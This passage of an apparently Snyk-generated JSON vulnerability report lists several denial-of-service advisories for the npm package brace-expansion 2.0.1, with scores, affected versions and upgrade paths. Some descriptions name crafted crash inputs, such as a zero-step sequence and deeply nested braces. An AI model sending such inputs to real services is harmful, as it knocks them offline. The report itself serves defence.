"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
